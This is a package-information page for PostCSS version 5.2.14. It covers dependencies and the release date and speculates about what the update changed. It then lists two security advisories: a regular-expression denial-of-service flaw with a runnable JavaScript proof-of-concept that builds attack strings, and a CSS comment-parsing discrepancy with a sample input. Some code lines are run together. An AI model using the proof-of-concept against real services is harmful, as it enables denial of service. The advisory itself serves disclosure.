PostCSS version 5.2.14 is a minor update to the popular JavaScript tool for transforming styles with plugins, building upon the foundation laid by version 5.2.13. Both versions share the same core dependencies, including chalk for colorful console output, js-base64 for base64 encoding and decoding, source-map for debugging, and supports-color for detecting terminal color support. The development dependencies also remain consistent, encompassing tools for testing (ava, sinon), linting (eslint, babel-eslint), documentation (jsdoc, docdash), and build processes (gulp, babel-core).
Crucially, the releaseDate field indicates that version 5.2.14 was published on February 17, 2017, three days after version 5.2.13 (February 14, 2017). While the data provided doesn't explicitly detail the changes introduced in 5.2.14, developers can infer that it likely contains bug fixes, performance improvements, or minor feature enhancements. Given the short interval between releases, the updates likely address specific issues identified in 5.2.13. For developers already using PostCSS, upgrading to 5.2.14 is recommended to benefit from these refinements and ensure the stability and reliability of their styling workflows. To know the precise changes developers should refer to the changelog of the library.
PostCSS simplifies CSS transformations by offering a powerful plugin architecture. Developers can leverage this framework to automate tasks like vendor prefixing, future CSS syntax adoption, linting, and optimization. This makes PostCSS a crucial asset for modern web development, helping to streamline CSS workflows and achieve better code quality.
All the vulnerabilities related to the version 5.2.14 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.